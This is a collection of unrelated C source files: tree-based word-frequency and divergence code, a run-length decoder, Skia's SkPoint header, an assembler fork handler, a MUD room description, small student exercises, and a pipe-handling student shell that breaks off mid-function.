printTreeHelper(root->leftChild); printf("%s (%f)\t", root->word, root->frequency); printTreeHelper(root->rightChild); } } void printTree(BST* tree){ printTreeHelper(tree->root); } void setFrequencyHelper(node* root, int total){ if(root != NULL){ setFrequencyHelper(root->leftChild, total); root->frequency = (double) root->count / (double) total; setFrequencyHelper(root->rightChild, total); } } void setFrequency(BST* tree){ setFrequencyHelper(tree->root, tree->totalCount); } node* findWordHelper(node* root, char* word){ if(root == NULL || strcmp(word, root->word) == 0) return root; else if(strcmp(word, root->word) < 0) //If the search word is less than the current node, continue search left findWordHelper(root->leftChild, word); else //If the search word is greater than the current node, continue search right findWordHelper(root->rightChild, word); } node* findWord(BST* tree, char* word){ return findWordHelper(tree->root, word); } void freeBSTHelper(node* root){ if(root != NULL){ freeBSTHelper(root->rightChild); freeBSTHelper(root->leftChild); free(root->word); free(root); } } void freeBST(BST* tree){ freeBSTHelper(tree->root); free(tree); } void meanFrequencyTreeHelper(node* root1, node* root2, BST* tree){ node* temp; node* temp2; if(root1 != NULL){ meanFrequencyTreeHelper(root1->leftChild, root2, tree); meanFrequencyTreeHelper(root1->rightChild, root2, tree); temp = findWord(tree, root1->word); if(temp == NULL){ //If the word isn't in the mean tree, add it and calculate the mean freq tree->root = insert(tree->root, root1->word); //Insert the word in the mean tree temp = findWord(tree, root1->word); //Find the word that was just inserted in the mean tree temp2 = findWordHelper(root2, root1->word); //Try to get the word in tree 2 if(temp2 != NULL){ //If the word is in tree 2 temp->frequency = 0.5*(root1->frequency + temp2->frequency); } else temp->frequency = 0.5*(root1->frequency); } } } BST* meanFrequencyTree(BST* tree1, BST* tree2){ BST* tree = newBST(); meanFrequencyTreeHelper(tree1->root, tree2->root, tree); meanFrequencyTreeHelper(tree2->root, tree1->root, tree); return tree; } double KLDHelper(node* root, BST* meanTree){ if(root != NULL){ return root->frequency * log2(root->frequency / findWord(meanTree, root->word)->frequency) + KLDHelper(root->leftChild, meanTree) + KLDHelper(root->rightChild, meanTree); } else{ return 0; } } double getKLD(BST* tree, BST* meanTree){ return KLDHelper(tree->root, meanTree); } double getJSD(BST* tree1, BST* tree2){ BST* meanTree = meanFrequencyTree(tree1, tree2); double ans = sqrt(0.5f * getKLD(tree1, meanTree) + 0.5f * getKLD(tree2, meanTree)); freeBST(meanTree); return ans; }
C
#include<stdio.h> int main() { int a[10]={0,1,2,3,4,5,6,7,8,9}; int i; for(i=0;i<10;i++){ if(i%2==1) continue; else a[i]=a[i]++; } for(i=0;i<10;i++){ printf("%d\n",a[i]); } return 0; }
C
#include <stdio.h> #include <strings.h> #include <unistd.h> #include <fcntl.h> int main(int argc, char **argv) { int fd; unsigned char InBuffer[10000]; unsigned char OutBuffer[10000]; unsigned char CurKey; unsigned char DupeChar; int DataLen; int OutDataLen; int CurPos; int EntryLen; //get the file data fd = open(argv[1], O_RDONLY); DataLen = read(fd, InBuffer, sizeof(InBuffer)); close(fd); //get the byte that we use to indicate values to dupe CurKey = InBuffer[0]; //go through and create the output OutDataLen = 0; for(CurPos = 1; CurPos < DataLen; CurPos++) { //if the special key then the 2nd byte is length, 3rd byte is dupe char if(InBuffer[CurPos] == CurKey) { //if the length is 0 then just output our byte as it was previously used EntryLen = InBuffer[CurPos+1]; if(EntryLen == 0) OutBuffer[OutDataLen] = InBuffer[CurPos]; else { //get our dupe char and adjust length. 1-255 -> 4->259 DupeChar = InBuffer[CurPos+2]; CurPos++; EntryLen += 3; memset(&OutBuffer[OutDataLen], DupeChar, EntryLen); OutDataLen += (EntryLen - 1); } CurPos++; } else OutBuffer[OutDataLen] = InBuffer[CurPos]; OutDataLen++; } //save the result chopping off the special char argv[1][strlen(argv[1]) - 1] = 'f'; unlink(argv[1]); fd = open(argv[1], O_RDWR | O_CREAT, 0777); write(fd, OutBuffer, OutDataLen); close(fd); }
C
#include <stdio.h> #include <stdlib.h> #include <math.h> #include <time.h> #include <string.h> #define num_nodes 3 #define num_total_states (int)pow(2,num_nodes) #define s_size 1 //#define s_size (num_nodes % 32 == 0)? (num_nodes >> 5) : (num_nodes >> 5) + 1 /* bit operations */ #define SetBit(A,k) (A[(k >> 5)] |= (1 << (k%32))) #define ClearBit(A,k) (A[(k >> 5)] &= ~(1 << (k%32))) #define GetBit(A,k) (A[(k >> 5)] & (1 << (k%32))) >> (k%32) #define NegBit(A,k) (~GetBit(A,k)) & 1 typedef struct{ unsigned int s[s_size]; } state_t; void printState(state_t* tState) { for (int i=0; i<s_size; i++) { unsigned int bit = 0x80000000; for (int j=0; j<32; j++) { if (bit & tState->s[i]) printf("%d", 1); else printf("%d", 0); bit = bit >> 1; } } printf("\n"); } state_t* updateState(state_t* c) { state_t *n = (state_t*) malloc(sizeof(state_t)); memset(n, 0, sizeof(state_t)); NegBit(c->s,2)&(GetBit(c->s,0)|GetBit(c->s,1)) ? SetBit(n->s,0) : ClearBit(n->s,0); GetBit(c->s,0)&GetBit(c->s,2) ? SetBit(n->s,1) : ClearBit(n->s,1); NegBit(c->s,2)|(GetBit(c->s,0)&GetBit(c->s,1)) ? SetBit(n->s,2) : ClearBit(n->s,2); return n; } int main(void) { state_t init; for (int i=0; i<s_size; i++) { srand(time(NULL)); int rand_num = rand() % num_total_states; printf("%d\n", rand_num); init.s[i] = rand_num; } printf("i: "); printState(&init); state_t *next = (state_t*) malloc(sizeof(state_t)); next = updateState(&init); printf("f: "); printState(next); return 0; }
C
/* * Copyright 2006 The Android Open Source Project * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #ifndef SkPoint_DEFINED #define SkPoint_DEFINED #include "SkMath.h" #include "SkScalar.h" /** \struct SkIPoint16 SkIPoint holds two 16 bit integer coordinates */ struct SkIPoint16 { int16_t fX; int16_t fY; static constexpr SkIPoint16 Make(int x, int y) { return {SkToS16(x), SkToS16(y)}; } int16_t x() const { return fX; } int16_t y() const { return fY; } void set(int x, int y) { fX = SkToS16(x); fY = SkToS16(y); } }; struct SkIPoint; typedef SkIPoint SkIVector; /** \struct SkIPoint SkIPoint holds two 32 bit integer coordinates */ struct SkIPoint { int32_t fX; int32_t fY; static constexpr SkIPoint Make(int32_t x, int32_t y) { return {x, y}; } int32_t x() const { return fX; } int32_t y() const { return fY; } /** * Returns true iff fX and fY are both zero. */ bool isZero() const { return (fX | fY) == 0; } /** Set the x and y values of the point. */ void set(int32_t x, int32_t y) { fX = x; fY = y; } /** Return a new point whose X and Y coordinates are the negative of the original point's */ SkIPoint operator-() const { return {-fX, -fY}; } /** Add v's coordinates to this point's */ void operator+=(const SkIVector& v) { fX += v.fX; fY += v.fY; } /** Subtract v's coordinates from this point's */ void operator-=(const SkIVector& v) { fX -= v.fX; fY -= v.fY; } /** Returns true if the point's coordinates equal (x,y) */ bool equals(int32_t x, int32_t y) const { return fX == x && fY == y; } friend bool operator==(const SkIPoint& a, const SkIPoint& b) { return a.fX == b.fX && a.fY == b.fY; } friend bool operator!=(const SkIPoint& a, const SkIPoint& b) { return a.fX != b.fX || a.fY != b.fY; } /** Returns a new point whose coordinates are the difference between a and b (i.e. a - b) */ friend SkIVector operator-(const SkIPoint& a, const SkIPoint& b) { return {a.fX - b.fX, a.fY - b.fY}; } /** Returns a new point whose coordinates are the sum of a and b (a + b) */ friend SkIPoint operator+(const SkIPoint& a, const SkIVector& b) { return {a.fX + b.fX, a.fY + b.fY}; } }; struct SkPoint; typedef SkPoint SkVector; struct SK_API SkPoint { SkScalar fX; SkScalar fY; static constexpr SkPoint Make(SkScalar x, SkScalar y) { return {x, y}; } SkScalar x() const { return fX; } SkScalar y() const { return fY; } /** * Returns true iff fX and fY are both zero. */ bool isZero() const { return (0 == fX) & (0 == fY); } /** Set the point's X and Y coordinates */ void set(SkScalar x, SkScalar y) { fX = x; fY = y; } /** Set the point's X and Y coordinates by automatically promoting (x,y) to SkScalar values. */ void iset(int32_t x, int32_t y) { fX = SkIntToScalar(x); fY = SkIntToScalar(y); } /** Set the point's X and Y coordinates by automatically promoting p's coordinates to SkScalar values. */ void iset(const SkIPoint& p) { fX = SkIntToScalar(p.fX); fY = SkIntToScalar(p.fY); } void setAbs(const SkPoint& pt) { fX = SkScalarAbs(pt.fX); fY = SkScalarAbs(pt.fY); } static void Offset(SkPoint points[], int count, const SkVector& offset) { Offset(points, count, offset.fX, offset.fY); } static void Offset(SkPoint points[], int count, SkScalar dx, SkScalar dy) { for (int i = 0; i < count; ++i) { points[i].offset(dx, dy); } } void offset(SkScalar dx, SkScalar dy) { fX += dx; fY += dy; } /** Return the euclidian distance from (0,0) to the point */ SkScalar length() const { return SkPoint::Length(fX, fY); } SkScalar distanceToOrigin() const { return this->length(); } /** Set the point (vector) to be unit-length in the same direction as it already points. If the point has a degenerate length (i.e. nearly 0) then set it to (0,0) and return false; otherwise return true. */ bool normalize(); /** Set the point (vector) to be unit-length in the same direction as the x,y params. If the vector (x,y) has a degenerate length (i.e. nearly 0) then set it to (0,0) and return false, otherwise return true. */ bool setNormalize(SkScalar x, SkScalar y); /** Scale the point (vector) to have the specified length, and return that length. If the original length is degenerately small (nearly zero), set it to (0,0) and return false, otherwise return true. */ bool setLength(SkScalar length); /** Set the point (vector) to have the specified length in the same direction as (x,y). If the vector (x,y) has a degenerate length (i.e. nearly 0) then set it to (0,0) and return false, otherwise return true. */ bool setLength(SkScalar x, SkScalar y, SkScalar length); /** Scale the point's coordinates by scale, writing the answer into dst. It is legal for dst == this. */ void scale(SkScalar scale, SkPoint* dst) const; /** Scale the point's coordinates by scale, writing the answer back into the point. */ void scale(SkScalar value) { this->scale(value, this); } /** Negate the point's coordinates */ void negate() { fX = -fX; fY = -fY; } /** Returns a new point whose coordinates are the negative of the point's */ SkPoint operator-() const { return {-fX, -fY}; } /** Add v's coordinates to the point's */ void operator+=(const SkVector& v) { fX += v.fX; fY += v.fY; } /** Subtract v's coordinates from the point's */ void operator-=(const SkVector& v) { fX -= v.fX; fY -= v.fY; } SkPoint operator*(SkScalar scale) const { return {fX * scale, fY * scale}; } SkPoint& operator*=(SkScalar scale) { fX *= scale; fY *= scale; return *this; } /** * Returns true if both X and Y are finite (not infinity or NaN) */ bool isFinite() const { SkScalar accum = 0; accum *= fX; accum *= fY; // accum is either NaN or it is finite (zero). SkASSERT(0 == accum || SkScalarIsNaN(accum)); // value==value will be true iff value is not NaN // TODO: is it faster to say !accum or accum==accum? return !SkScalarIsNaN(accum); } /** * Returns true if the point's coordinates equal (x,y) */ bool equals(SkScalar x, SkScalar y) const { return fX == x && fY == y; } friend bool operator==(const SkPoint& a, const SkPoint& b) { return a.fX == b.fX && a.fY == b.fY; } friend bool operator!=(const SkPoint& a, const SkPoint& b) { return a.fX != b.fX || a.fY != b.fY; } /** Returns a new point whose coordinates are the difference between a's and b's (a - b) */ friend SkVector operator-(const SkPoint& a, const SkPoint& b) { return {a.fX - b.fX, a.fY - b.fY}; } /** Returns a new point whose coordinates are the sum of a's and b's (a + b) */ friend SkPoint operator+(const SkPoint& a, const SkVector& b) { return {a.fX + b.fX, a.fY + b.fY}; } /** Returns the euclidian distance from (0,0) to (x,y) */ static SkScalar Length(SkScalar x, SkScalar y); /** Normalize pt, returning its previous length. If the prev length is too small (degenerate), set pt to (0,0) and return 0. This uses the same tolerance as CanNormalize. Note that this method may be significantly more expensive than the non-static normalize(), because it has to return the previous length of the point. If you don't need the previous length, call the non-static normalize() method instead. */ static SkScalar Normalize(SkVector* vec); /** Returns the euclidian distance between a and b */ static SkScalar Distance(const SkPoint& a, const SkPoint& b) { return Length(a.fX - b.fX, a.fY - b.fY); } /** Returns the dot product of a and b, treating them as 2D vectors */ static SkScalar DotProduct(const SkVector& a, const SkVector& b) { return a.fX * b.fX + a.fY * b.fY; } /** Returns the cross product of a and b, treating them as 2D vectors */ static SkScalar CrossProduct(const SkVector& a, const SkVector& b) { return a.fX * b.fY - a.fY * b.fX; } SkScalar cross(const SkVector& vec) const { return CrossProduct(*this, vec); } SkScalar dot(const SkVector& vec) const { return DotProduct(*this, vec); } }; #endif
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* fork.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: yhliboch <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2019/05/24 12:12:36 by yhliboch #+# #+# */ /* Updated: 2019/05/24 12:12:40 by yhliboch ### ########.fr */ /* */ /* ************************************************************************** */ #include "op.h" #include "asm.h" void valid_fork(t_token *token, int nb, t_asm *head) { token = token->next; if (token->type != DIR && token->type != DIR_L) { if (nb == 12) error("Bad argument for operation fork", token->name); error("Bad argument for operation lfork", token->name); } token->type == DIR_L ? label_pos(head, token->name + 1) : 0; token = token->next; if (token && token->type != OP && token->type != LABEL) { if (nb == 12) error("Too many arguments for fork\n", NULL); error("Too many arguments for lfork\n", NULL); } } void ft_fork(t_token *tmp_token, t_asm *head, int nb) { int n; t_token *op; n = 0; op = tmp_token; hex_con(nb, 1, head); tmp_token = tmp_token->next; if (tmp_token->type == DIR) n = ft_atoi(tmp_token->name + 1); else if (tmp_token->type == DIR_L) n = label_pos(head, tmp_token->name + 1) - op->pos; hex_con(n, 2, head); }
C
//garden2 - ~Circe~ 1/13/08 for new Seneca #include <std.h> #include "../seneca.h" inherit STORAGE"garden_inherit"; void create(){ ::create(); set_long(::query_long()+"\n%^RESET%^%^GREEN%^This section "+ "of the %^BOLD%^gardens %^RESET%^%^GREEN%^is bounded on "+ "the south and west by a %^BOLD%^%^BLACK%^wrought iron fence %^RESET%^"+ "%^GREEN%^that separates this peaceful landscape from the "+ "bustle of %^BOLD%^%^WHITE%^Seneca%^RESET%^%^GREEN%^. "+ "An incredible %^RED%^t%^ORANGE%^o%^RED%^w%^ORANGE%^e"+ "%^RED%^r %^RESET%^%^GREEN%^rises to the west just beyond "+ "the fence, casting its long shadow over the area.%^RESET%^\n"); set_exits(([ "north" : ROOMS"garden3", "east" : ROOMS"garden1" ])); add_item("fence","%^BOLD%^%^BLACK%^The iron picket fence has "+ "fleur-de-lis caps and is set with %^RESET%^stone columns "+ "%^BOLD%^%^BLACK%^at intervals.%^RESET%^"); add_item("tower","The tower to the west is truly a wonder to behold. "+ "The architecture looks nothing like the rest of Seneca, and the "+ "juxtaposition creates an image of stunning beauty. The tower rises "+ "approximately one hundred and fifty feet in the air, narrowing slightly "+ "as it goes until it appears to end in a spire. Extra care was "+ "taken in choosing and arranging the building materials, beginning "+ "with a band of decorative %^RED%^red stone %^RESET%^near the base "+ "that is about twenty feet high. Atop that is a layer of %^ORANGE%^"+ "tan stone %^RESET%^of approximately twice that height. This "+ "alternating pattern continues all the way to the spire."); add_item("red stone","%^RED%^Each band of red stone has a wide "+ "decorative carving featuring knots and swooping scrollwork "+ "highlighted in places with muted %^YELLOW%^gold%^RESET%^."); add_item("tan stone","%^ORANGE%^Upon closer inspection, you realize the "+ "tan stone bands are actually made up of blocks in various shades of "+ "%^BOLD%^%^WHITE%^cream%^RESET%^%^ORANGE%^, tan, and %^RED%^pale red"+ "%^ORANGE%^. The smoothness of the tan stone emphasizes the "+ "grandeur of the carved red band.%^RESET%^"); add_item("stone","You might want to look at either the red stone or the "+ "tan stone."); }
C
/* * Criar uma funo que receba um vetor de caracteres (frase, vetor de char) e retorne a quantidade de palavras(int)? */ #include <stdio.h> int contaPalavras(char frase[]) { int numeroPalavras = 1, i = 0; while(frase[i] != '\0') { if(frase[i] == ' ') { ++numeroPalavras; } ++i; } return numeroPalavras; } int main (void) { int numeroPalavras2; char frase[200]; printf("Insira a frase que deseja contabilizar as palavras: "); fflush(stdin); fgets(frase, 200, stdin); numeroPalavras2 = contaPalavras(frase); printf("A frase inserida possui %d palavras.", numeroPalavras2); return 0; }
C
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> int main() { char* file_to_create = "created_file"; creat(file_to_create, 0777); printf("Opening an existing file in Read/Write more\n"); int ret = open(file_to_create, O_RDWR); if(ret == -1) printf("Unable to open the file!\n"); else printf("File descriptor of the open file is: %d\n",ret); printf("Trying the O_EXCL flag\n"); int ret1 = open(file_to_create, O_RDWR | O_CREAT | O_EXCL); printf("Using the O_EXCL flag for a file which already exists returns: %d\n", ret1); int ret2 = open("new_file", O_RDWR | O_CREAT | O_EXCL); printf("Using the O_EXCL flag to create a new file returns: %d\n", ret2); return 0; }
C
#include "BSTree.h" #include <stdlib.h> BSTree BSTreeGetSmallest(BSTree t) { // Empty Tree if( t == NULL) return NULL; // The smallest number is at the leftmost node of the tree if (t->left == NULL) { return t; } else { t = BSTreeGetSmallest(t->left); } return t; }
C
/* Copyright (C) Kevin Costa Scaccia - All Rights Reserved * Unauthorized copying of this file, via any medium is strictly prohibited * Proprietary and confidential * Written by Kevin Scaccia <[email protected]>, March 2019 */ /************************ Shell functionalities ******************* 1. Single Commands(without args): >> ls >> ps >> clear ******************* 2. Single Commands(with args): >> ls -ax >> ps all ******************* 3. Commands(without args) related by a unique PIPE: >> ps | grep b >> ls | grep out ******************* 4. Commands(with args) related by a unique PIPE: >> ps all | grep gnome >> ls -ax | grep out ******************* 5. Commands(with args) related by any PIPE: >> ps all | grep gnome >> ls -ax | grep out >> ls -ax | grep a | grep b | grep a | more >> ls | ls | ls | ps | ps -ax | echo test | grep test ******************* 6. One or Two Commands(with args) to run assync: >> gedit file.txt & tail file.txt -F >> ps all & gedit >> ping www.google.com & ls >> gedit & ls ******************* 6. Multiple Commands(with args) to run assync: >> ps & ps -ax & gedit >> ls & ls & ls & nano ******************* 7. Multiple '&' operator followed by multiple '|': >> gedit file.txt & gedit file2.txt & ps all | grep gnome | grep keyboard ******************* 8. Redirect '>' operator, for one command or from a pipe to a file >> ls > file.txt >> echo "kevin" > file.txt >> ps all | grep a > file.txt ******************* 9. K-Shell internal Commands: >> close: close the shell >> help: show internal commands */ /*************************************** * Includes *************************************** ***************************************/ #include <stdio.h> #include <unistd.h> #include <sys/wait.h> #include <stdlib.h> #include <string.h> #include <sys/queue.h> #include <fcntl.h> /*************************************** * Constants *************************************** ***************************************/ #define LINE_BUFFER_SIZE 100 #define SHELL_STATUS_CLOSE 0 #define SHELL_STATUS_CONTINUE 1 #define MAX_COMMAND_BY_LINE 30 #define MAX_COMMAND_SIZE 100 #define TRUE 1 #define FALSE 0 #define READ_END 0 #define WRITE_END 1 /*************************************** * Prototypes *************************************** ***************************************/ // Shell LifeCycle Functions void start_shell(); void loop_shell(); void finish_shell(); // Command Manipulation char** split_commands(char* line); char** get_command_parameters(char** matrix, int* index); // Command Execution int execute_commands(char* line); int execute_standard_sync_command(char** argv); int execute_standard_async_command(char** argv); // Operator Position Idenftify int cmd_no_operator(char** argv); // command without operator int cmd_before_operator(char** argv, char* operator, char** cmd_tokens, int* index); int cmd_between_operator(char** argv, char* before_operator, char* after_operator, char** cmd_tokens, int* index); // command between operators int cmd_after_operator(char** argv, char* operator); // command after operator int is_operator(char* str, char operator); int exists_operator_before(char** commands, int index); // if there's a operator before the index int exists_operator_after(char** commands, int index); // if there's a operator after the index // Operator Handling int cmd_before_operator_handle_pipe(char** argv); // command before operator int cmd_between_operator_handle_pipe_pipe(char** argv); // command between pipes int cmd_between_operator_handle_redirect_out_pipe(char** argv, char** cmd_tokens, int* index); // command betweeen '|' and '>' int cmd_after_operator_handle_pipe(char** argv); // command after operator int cmd_before_operator_handle_background(char** commands, int* index); // command to run in background int cmd_before_operator_handle_redirect_out(char** argv, char** cmd_tokens, int* index); // Internal Commands int execute_internal_help(); int execute_internal_last(); // Auxiliary Functions and Procedures int count_args(char** argv, int index); void close_fd(int fd); void read_line(char* buffer); int is_operador(char* c); int is_operador_char(char c); int is_command(char* c); void close_pipes(); // Print and Format Procedures void print_commands(char** command_matrix); void print_error(char* c); void print_alert(char* c); void printf_alert(char* format, char* c); /*************************************** * Global Variables *************************************** ***************************************/ int GLOBAL_PIPE1[2]; int GLOBAL_PIPE2[2]; int MULTIPLE_PIPES_FLAG = FALSE; char LAST_COMMAND_LINE[MAX_COMMAND_SIZE]; char* LAST_COMMAND_MATRIX; /*************************************** * Main *************************************** ***************************************/ int main(int argc, char** argv){ start_shell(); loop_shell(); finish_shell(); return 0; } /*************************************** * Shell LifeCycle *************************************** ***************************************/ void start_shell(){ printf("\033[0;1m"); // white bold printf("---------------\033[1;32m K-Shell\033[0;1m ---------------"); printf("\n---------------------------------------\n"); } void loop_shell(){ char *line; // line read buffer int status; // commands return status do{ line = (char*) malloc(sizeof(char)*LINE_BUFFER_SIZE); printf("\033[0;1m >> \033[0m"); read_line(line);// reads the line from stdin // parse commands in a command matrix status = execute_commands(line); free(line);// I don't know if it's necessary }while(status == SHELL_STATUS_CONTINUE); } void finish_shell(){ close_pipes(); printf("\033[0;1m----------------------------------\033[1;31mbye\033[0;1m..\n"); } /*************************************** * Command Management *************************************** ***************************************/ char** split_commands(char* line){ char ** commands = (char**) malloc(sizeof(char*)*MAX_COMMAND_BY_LINE*MAX_COMMAND_SIZE); int i = 0; char *p = strtok(line, " "); while(p != NULL) { commands[i++] = p; p = strtok(NULL, " "); } return commands; } char** get_command_parameters(char** matrix, int* index){ char** args = (char**) malloc(sizeof(char*)*MAX_COMMAND_SIZE); int i = *index; // le argumentos a partir do comando atual // inclui o nome do comando como argumento int ii = 0; //printf("Comando na posicao <%d> da matriz de comandos\n",i); char* arg = matrix[i]; // argumento atual while(arg != NULL && !is_operador(arg)){ //printf("Adicionando <%s> como argumento \n", arg); args[ii] = matrix[i]; arg = matrix[++i]; ii++; } args[i] = NULL; *index = i; return args; } /*************************************** * Execução dos Comandos *************************************** ***************************************/ int execute_commands(char* line){ char** cmd_tokens = split_commands(line); // Split line in command tokens //print_commands(cmd_tokens); int i = 0, status; while(cmd_tokens[i] != NULL){ if(is_command(cmd_tokens[i])){// encontrou um COMANDO char** argv; // Command Args if(exists_operator_before(cmd_tokens, i)){ if(exists_operator_after(cmd_tokens, i)){ print_alert("There's a command between operators"); char* before_operator = cmd_tokens[i-1]; // before operator (always is the token before the command itself) argv = get_command_parameters(cmd_tokens, &i);// get command arguments char* after_operator = cmd_tokens[i]; // after operator status = cmd_between_operator(argv, before_operator, after_operator, cmd_tokens, &i);// handle operator and execute the command }else{ print_alert("There's a operator before command"); char* operator = cmd_tokens[i-1]; // actual operator (always is the token before the command itself) argv = get_command_parameters(cmd_tokens, &i);// get command arguments status = cmd_after_operator(argv, operator);// handle operator and execute the command } }else if(exists_operator_after(cmd_tokens, i)){ print_alert("There's a operator after command"); argv = get_command_parameters(cmd_tokens, &i);// get command arguments char* operator = cmd_tokens[i]; // actual operator status = cmd_before_operator(argv, operator, cmd_tokens, &i);// handle operator and execute the command }else{ print_alert("Single Command"); argv = get_command_parameters(cmd_tokens, &i);// get command arguments status = cmd_no_operator(argv); } } i++; // Next Token } close_pipes(); MULTIPLE_PIPES_FLAG = FALSE; strcpy(LAST_COMMAND_LINE, line); // Store last command line printf("\033[0m"); return status;// SHELL_STATUS_CONTINUE } int execute_standard_sync_command(char** argv){ pid_t child; //print_commands(com_mat); child = fork(); if(child == 0){ if(execvp(argv[0], argv) < 0){ print_error("Comando possívelmente invalido ou incompleto:"); perror("->"); } }else{ waitpid(child, NULL, 0); } return SHELL_STATUS_CONTINUE; } int execute_standard_async_command(char** argv){ print_alert("Background Command"); pid_t child; child = fork();// FORK NO child if(child == 0){ // PRIMEIRO COMANDO if(execvp(argv[0], argv) < 0){ // EXECUTA O COMANDO print_error("Comando possívelmente invalido ou incompleto:"); perror("->"); } }else{ // CODIGO DO PAI //waitpid(child, NULL, 0); Aqui esta o segredo hehe print_alert("Async command finished"); } return SHELL_STATUS_CONTINUE; } /*************************************** * Operator Position Idenftify *************************************** ***************************************/ int cmd_no_operator(char** argv){ // Comandos internos do shell if( strcmp(argv[0], "close") == 0){ return SHELL_STATUS_CLOSE; }else if( strcmp(argv[0], "help") == 0){ return execute_internal_help(); }else if( strcmp(argv[0], "last") == 0){ return execute_internal_last(); }else // Single Command return execute_standard_sync_command(argv); } int cmd_before_operator(char** argv, char* operator, char** cmd_tokens, int* index){ if( is_operator(operator, '|') ){ // handles pipe operator return cmd_before_operator_handle_pipe(argv); }else if( is_operator(operator, '&') ){ // handles background command return execute_standard_async_command(argv); }else if( is_operator(operator, '>') ){ // handles redirect_out operator return cmd_before_operator_handle_redirect_out(argv, cmd_tokens, index); }else{ print_error("Operador nao identificado"); return SHELL_STATUS_CONTINUE; } } int cmd_between_operator(char** argv, char* before_operator, char* after_operator, char** cmd_tokens, int* index){ // Handles Command between two PIPEs if( is_operator(before_operator, '|') && is_operator(after_operator, '|')){ print_alert("| e |"); return cmd_between_operator_handle_pipe_pipe(argv); }else if( is_operator(before_operator, '&') && is_operator(after_operator, '&')){ // Assync command print_alert("& e &"); return execute_standard_async_command(argv); // Just run assync and go to the next command }else if( is_operator(before_operator, '&') && is_operator(after_operator, '|')){ // Assync command print_alert("& e |"); return cmd_before_operator_handle_pipe(argv); // Handle the pipe after }else if( is_operator(before_operator, '|') && is_operator(after_operator, '>')){ // pipe redirect print_alert("| e >"); return cmd_between_operator_handle_redirect_out_pipe(argv, cmd_tokens, index); } } int cmd_after_operator(char** argv, char* operator){ if( is_operator(operator, '|') ){ // handles pipe operator return cmd_after_operator_handle_pipe(argv); }else if( is_operator(operator, '&') ){ // handles background cmd return execute_standard_sync_command(argv); } } /*************************************** * Operator Handling *************************************** ***************************************/ int cmd_before_operator_handle_pipe(char** argv){ // PRIMEIRO SEMPRE ESCREVE NO PIPE 1 MULTIPLE_PIPES_FLAG = !MULTIPLE_PIPES_FLAG; pid_t child; pipe(GLOBAL_PIPE1);// CRIA PIPE 1 child = fork();// FORK NO child if(child == 0){ // PRIMEIRO COMANDO close_fd(GLOBAL_PIPE1[READ_END]);// child NUNCA LÊ DO PIPE 1 dup2(GLOBAL_PIPE1[WRITE_END], STDOUT_FILENO); // child SEMPRE ESCREVE NO PIPE 1 if(execvp(argv[0], argv) < 0){ // EXECUTA O COMANDO print_error("Comando possívelmente invalido ou incompleto:"); return SHELL_STATUS_CONTINUE; } }else{ // CODIGO DO PAI close_fd(GLOBAL_PIPE1[WRITE_END]);// PAI NAO ESCREVE NO PIPE 1 MAS PRECISA LER DELE (child) waitpid(child, NULL, 0); // ESPERA child 1 print_alert("First command finished"); } return SHELL_STATUS_CONTINUE; } int cmd_between_operator_handle_pipe_pipe(char** argv){ MULTIPLE_PIPES_FLAG = !MULTIPLE_PIPES_FLAG; pid_t child; if(MULTIPLE_PIPES_FLAG){ // // CRIA PIPE 1 if(pipe(GLOBAL_PIPE1) < 0) print_error("ERRO PIPE 1"); print_alert("criou pipe 1"); }else{// PAR // CRIA PIPE 2 if(pipe(GLOBAL_PIPE2) < 0) print_error("ERRO PIPE 2"); print_alert("criou pipe 2"); } child = fork(); if(child == 0){ print_alert("Middle Command"); if(MULTIPLE_PIPES_FLAG){ // IMPAR dup2(GLOBAL_PIPE2[READ_END], STDIN_FILENO);// LER DO PIPE 2 dup2(GLOBAL_PIPE1[WRITE_END], STDOUT_FILENO); // ESCREVER NO PIPE 1 }else{ // PAR dup2(GLOBAL_PIPE1[READ_END], STDIN_FILENO);// LER DO PIPE 1 dup2(GLOBAL_PIPE2[WRITE_END], STDOUT_FILENO); // ESCREVER NO PIPE 2 } if(execvp(argv[0], argv) < 0) print_error("Comando possívelmente invalido ou incompleto:"); }else{ if(MULTIPLE_PIPES_FLAG){ // IMPAR close_fd(GLOBAL_PIPE2[READ_END]);// JA PASSOU PARA O child close_fd(GLOBAL_PIPE1[WRITE_END]); // SOMENTE child ESCREVE NO PIPE }else{ close_fd(GLOBAL_PIPE1[READ_END]);// JA PASSOU PARA O child close_fd(GLOBAL_PIPE2[WRITE_END]); // SOMENTE child ESCREVE NO PIPE } waitpid(child, NULL, 0); print_alert("child do meio terminou"); } return SHELL_STATUS_CONTINUE; } int cmd_after_operator_handle_pipe(char** argv){ // ULTIMO COMANDO: SEMPRE ESCREVE NA SAIDA PADRÃO; PODE LER DO PIPE 1 OU DO 2 // LE DO PIPE 1 CASO NAO HOUVER COMANDOS INTERNOS OU TIVER UM NUMERO PAR DE COMANDOS INTERNOS // LE DO PIPE 2 CASO HOUVER UM NUMERO IMPAR DE COMANDOS INTERNOS pid_t child; child = fork(); if(child == 0){ if(MULTIPLE_PIPES_FLAG){// IMPAR dup2(GLOBAL_PIPE1[READ_END], STDIN_FILENO); // LE DO PIPE 1 }else{// OU LE DO 1 OU LE DO 2: dup2(GLOBAL_PIPE2[READ_END], STDIN_FILENO); // LE DO PIPE 2 } if(execvp(argv[0], argv) < 0){ print_error("Comando possívelmente invalido ou incompleto:"); return SHELL_STATUS_CONTINUE; } }else{ // PAI if(MULTIPLE_PIPES_FLAG){// IMPAR close_fd(GLOBAL_PIPE1[READ_END]); // LE DO PIPE 1 }else{// OU LE DO 1 OU LE DO 2: close_fd(GLOBAL_PIPE2[READ_END]); // LE DO PIPE 2 } waitpid(child, NULL, 0); print_alert("Last command finished"); } return SHELL_STATUS_CONTINUE; } int cmd_before_operator_handle_redirect_out(char** argv, char** cmd_tokens, int* index){ pid_t child; int args_after_cmd = count_args(cmd_tokens, *index + 1);// conta numero de 'argumentos' do proximo comando if( args_after_cmd != 1){ // um unico arquivo print_error("Especifique um unico arquivo: <cmd> > <arquivo.txt>"); return SHELL_STATUS_CONTINUE; } char* file_name = cmd_tokens[*index + 1]; // Get file name print_alert("File name:"); print_alert(file_name); child = fork();// FORK if(child == 0){ int fd = open(file_name, O_RDWR | O_CREAT, S_IRUSR | S_IWUSR); dup2(fd, STDOUT_FILENO); // make stdout go to file close(fd); if(execvp(argv[0], argv) < 0){ // EXECUTA O COMANDO print_error("Comando possivelmente invalido ou incompleto:"); return 